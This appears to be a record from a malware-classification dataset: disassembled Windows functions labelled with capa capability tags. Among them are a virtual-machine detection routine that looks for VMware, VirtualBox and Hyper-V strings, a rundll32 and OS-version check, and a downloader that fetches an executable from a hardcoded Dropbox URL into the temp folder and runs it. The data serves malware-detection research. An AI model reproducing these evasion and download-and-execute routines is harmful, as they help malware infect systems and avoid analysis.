joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008a20
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008a40
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008a88
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008a34
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008a75

Function at 0x140008ab0
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400172c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008b68
mov rdx, qword [0x140017200]
lea rcx, [0x140017200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008b38
cmp rdx, rcx
jne 0x140008b1a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008b1f
nop dword [rax]
test rax, rax
je 0x140008b4a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008b08
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008b4a
mov rdx, rax
jmp 0x140008b16
lea rcx, [0x140017300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008b86
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008b4a
Function at 0x6f5c13d0
Capabilities:
Check os version

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov dword [rbp - 0xa0], 0x94
lea rax, [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVersionExA]
call rax
mov eax, dword [rbp - 0x9c]
cmp eax, 6
jne 0x6f5c1415
mov eax, dword [rbp - 0x98]
cmp eax, 1
jne 0x6f5c1415
mov eax, 1
jmp 0x6f5c141a
mov eax, 0
add rsp, 0xc0
pop rbp
ret

Function at 0x6f5c1423
Capabilities:
Get system firmware table

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3a8], 0x400
lea rax, [rbp - 0x60]
mov r9d, 0x400
mov r8, rax
mov edx, 0
mov ecx, 0x52534d42
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
call rax
mov dword [rbp + 0x3a4], eax
cmp dword [rbp + 0x3a4], 0
jne 0x6f5c1476
mov eax, 1
jmp 0x6f5c151f
mov dword [rbp + 0x3ac], 0
mov eax, dword [rbp + 0x3a4]
sub eax, 8
cmp dword [rbp + 0x3ac], eax
jae 0x6f5c151a
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x3ac]
add rax, rdx
mov r8d, 6
lea rdx, str.VMware
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x6f5c1507
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x3ac]
add rax, rdx
mov r8d, 0xa
lea rdx, str.VirtualBox
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x6f5c1507
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x3ac]
add rax, rdx
mov r8d, 7
lea rdx, str.Hyper_V
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x6f5c150e
mov eax, 1
jmp 0x6f5c151f
add dword [rbp + 0x3ac], 1
jmp 0x6f5c1480
mov eax, 0
add rsp, 0x430
pop rbp
ret
Function at 0x6f5c1528
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x250], rcx
mov dword [rbp + 0x258], edx
lea rax, [rbp + 0xe0]
mov rdx, rax
lea rcx, str.2.zal_d858161c_6772_4966_9944_29c2cedb9820.
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0xffffffffffffffff
jne 0x6f5c157a
mov eax, 0
jmp 0x6f5c16e4
lea rax, [rbp - 0x30]
mov word [rax], 0x5c2e
mov byte [rax + 2], 0
lea rax, [rbp + 0xe0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x30]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0xffffffffffffffff
jne 0x6f5c1606
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov eax, 0
jmp 0x6f5c16e4
mov edx, dword [rbp + 0x258]
lea rcx, [rbp - 0x34]
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, edx
mov rdx, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov dword [rbp + 0x224], eax
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x230]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
cmp dword [rbp + 0x224], 0
jne 0x6f5c1675
mov eax, 0
jmp 0x6f5c16e4
mov dword [rbp + 0x23c], 0
mov eax, dword [rbp - 0x34]
cmp dword [rbp + 0x23c], eax
jge 0x6f5c16df
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x6f5c16be
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
jne 0x6f5c16d6
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
mov byte [rax], 0
jmp 0x6f5c16df
add dword [rbp + 0x23c], 1
jmp 0x6f5c167f
mov eax, 1
add rsp, 0x2c0
pop rbp
ret
Function at 0x6f5c1a0d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x10]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x6f5c1acd
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0xe0
pop rbp
ret
Function at 0x6f5c1b15
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x930
lea rbp, [rsp + 0x80]
call fcn.6f5c13d0
test al, al
je 0x6f5c1b3c
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
movzx eax, byte [0x6f5c4010]
test al, al
je 0x6f5c1b57
call fcn.6f5c1423
test al, al
je 0x6f5c1b57
mov eax, 1
jmp 0x6f5c1b5c
mov eax, 0
test al, al
je 0x6f5c1b6e
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp + 0x7a0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x7a0]
mov edx, 0x5c
mov rcx, rax
call sub.msvcrt.dll_strrchr
add rax, 1
lea rdx, str.rundll32.exe
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6f5c1bc5
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp + 0x3a0]
mov edx, 0x400
mov rcx, rax
call fcn.6f5c1528
test eax, eax
sete al
test al, al
je 0x6f5c1bf0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8d, 0x400
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x8a8], rax
cmp qword [rbp + 0x8a8], 0
jne 0x6f5c1c2f
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rdx, qword [rbp + 0x8a8]
lea rax, [rbp + 0x3a0]
mov rcx, rax
call fcn.6f5c16ed
mov dword [rbp + 0x8a4], eax
cmp dword [rbp + 0x8a4], 0
je 0x6f5c1c64
mov eax, dword [rbp + 0x8a4]
cdqe
cmp rax, 0x3ff
jbe 0x6f5c1c96
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x8a8]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov eax, dword [rbp + 0x8a4]
movsxd rcx, eax
mov rdx, qword [rbp + 0x8a8]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov eax, dword [rbp + 0x8a4]
cdqe
mov byte [rbp + rax - 0x60], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x8a8]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.6f5c1a0d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop

Function at 0x6f5c20c0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6f5c3360
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.6f5c3360
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x6f5c2130
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6f5c85e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x6f5c22d8
mov rax, qword [0x6f5c85e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6f5c217c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6f5c2207
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6f5c2160
mov rcx, r12
call fcn.6f5c2e30
mov rbp, rax
test rax, rax
je 0x6f5c2312
mov rax, qword [0x6f5c85e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.6f5c2f60
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6f5c85e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6f5c2321
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6f5c2200
sub eax, 4
and eax, 0xfffffffb
jne 0x6f5c2290
add dword [0x6f5c85e4], 1
cmp ebx, 8
jae 0x6f5c2238
test bl, 4
jne 0x6f5c22e0
test ebx, ebx
je 0x6f5c2229
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x6f5c2300
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6f5c2229
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6f5c226a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6f5c85e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6f5c2200
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6f5c20c0
nop dword [rax]
xor edi, edi
jmp 0x6f5c2187
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x6f5c2229
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x6f5c2229
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.6f5c20c0
mov rax, qword [0x6f5c85e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6f5c20c0
nop
nop dword [rax]
Function at 0x6f5c2aa0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6f5c88c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6f5c88a0]
test rbx, rbx
je 0x6f5c2af4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6f5c2aeb
test r12, r12
je 0x6f5c2aeb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6f5c2ad0
lea rcx, [0x6f5c88c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6f5c2e30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6f5c52a0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6f5c2ea9
mov rcx, r10
call fcn.6f5c2d00
test eax, eax
je 0x6f5c2ea9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6f5c2ea6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6f5c2e9d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6f5c2ea9
add r8, 0x28
cmp r8, r9
jne 0x6f5c2e88
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400d7630]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x1400d7640]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x1400ff008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400d7590]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.14000d930
mov rcx, qword [0x1400d76f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400d7620]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14000d740
mov ebx, dword [0x1400ff028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x1400ff020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x1400ff020], rbp
call fcn.14000d540
mov rax, qword [0x1400d75b0]
mov r8, qword [0x1400ff018]
mov ecx, dword [0x1400ff028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x1400ff020]
call fcn.14000165f
mov ecx, dword [0x1400ff00c]
mov dword [0x1400ff010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x1400ff008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400d7640]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call fcn.140018590
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x1400d7690]
mov rcx, qword [0x1400d7680]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400ff010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400d76b0]
mov rcx, qword [0x1400d76a0]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x140001450
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
mov eax, 0x1238
call fcn.14000e520
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x11d0], rcx
mov qword [rbp + 0x11d8], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.Downloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x11a8], rax
cmp qword [rbp + 0x11a8], 0
jne 0x1400014bc
mov ebx, 0
jmp 0x140001634
mov rax, qword [rbp + 0x11d0]
mov rcx, rax
call fcn.14002ec60
mov rdx, rax
mov rax, qword [rbp + 0x11a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000200
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x11a0], rax
cmp qword [rbp + 0x11a0], 0
jne 0x14000152c
mov rax, qword [rbp + 0x11a8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140001634
mov rdx, qword [rbp + 0x11d8]
lea rax, [rbp + 0xfc0]
mov r8d, 4
mov rcx, rax
call fcn.1400a77e0
lea rax, [rbp + 0xfc0]
add rax, 0xd8
mov rcx, rax
call fcn.140077c50
test al, al
je 0x1400015ac
mov rax, qword [rbp + 0x11a0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x11a8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140001625
mov eax, dword [rbp - 0x44]
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xfc0]
mov r8, rcx
mov rcx, rax
call fcn.140087bf0
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x11a0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400015e2
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x1400015e2
mov eax, 1
jmp 0x1400015e7
mov eax, 0
test al, al
jne 0x140001591
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400a7430
mov rax, qword [rbp + 0x11a0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x11a8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400a7e80
mov eax, ebx
jmp 0x140001655
add rsp, 0x1238
pop rbx
pop rbp
ret
Function at 0x14000165f
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x280
lea rbp, [rsp + 0x80]
call fcn.14000d540
lea rax, str.https:__www.dropbox.com_scl_fi_nteley10zpphujfjptfvg_test.exe_rlkeymblb7ne7q0gceq8ujuv2zfnw3stm3n3yw3rdl1
mov qword [rbp + 0x1f8], rax
lea rax, [rbp + 0x80]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x1bf]
mov qword [rbp + 0x1f0], rax
nop
nop
lea rcx, [rbp + 0x1bf]
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x190]
mov r8, rcx
mov rcx, rax
call fcn.1400b8ee0
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x190]
lea r8, str.downloaded_program.exe
mov rcx, rax
call fcn.1400c9580
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400b9720
lea rax, [rbp + 0x1bf]
mov rcx, rax
call fcn.1400a9e80
nop
lea rax, [rbp + 0x1e7]
mov qword [rbp + 0x1e8], rax
nop
nop
lea rcx, [rbp + 0x1e7]
mov rdx, qword [rbp + 0x1f8]
lea rax, [rbp + 0x1c0]
mov r8, rcx
mov rcx, rax
call fcn.1400b8ee0
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.140001450
mov ebx, eax
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400b9720
lea rax, [rbp + 0x1e7]
mov rcx, rax
call fcn.1400a9e80
nop
test bl, bl
je 0x14000183d
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.14002ec60
mov rcx, rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x140001836
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001844
mov ebx, 1
jmp 0x140001849
mov ebx, 1
jmp 0x140001849
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400b9720
mov eax, ebx
jmp 0x1400018ce
add rsp, 0x280
pop rbx
pop rdi
pop rbp
ret

Function at 0x140004270
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x30
mov rax, qword [rcx + 0x18]
movzx edx, byte [rax]
cmp dl, 0x4c
je 0x1400042e0
jg 0x1400042a0
sub edx, 0x49
cmp dl, 1
ja 0x1400042f0
add rax, 1
mov qword [rcx + 0x18], rax
add rsp, 0x30
pop rsi
jmp fcn.140004310
cmp dl, 0x58
jne 0x1400042f0
add rax, 1
mov esi, dword [rcx + 0x4c]
mov dword [rcx + 0x4c], 1
mov qword [rcx + 0x18], rax
mov qword [rsp + 0x28], rcx
call fcn.1400045e0
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x18]
mov dword [rcx + 0x4c], esi
cmp byte [rdx], 0x45
jne 0x140004300
add rdx, 1
mov qword [rcx + 0x18], rdx
add rsp, 0x30
pop rsi
ret
add rsp, 0x30
pop rsi
jmp fcn.140004090
add rsp, 0x30
pop rsi
jmp fcn.1400029e0
xor eax, eax
jmp 0x1400042da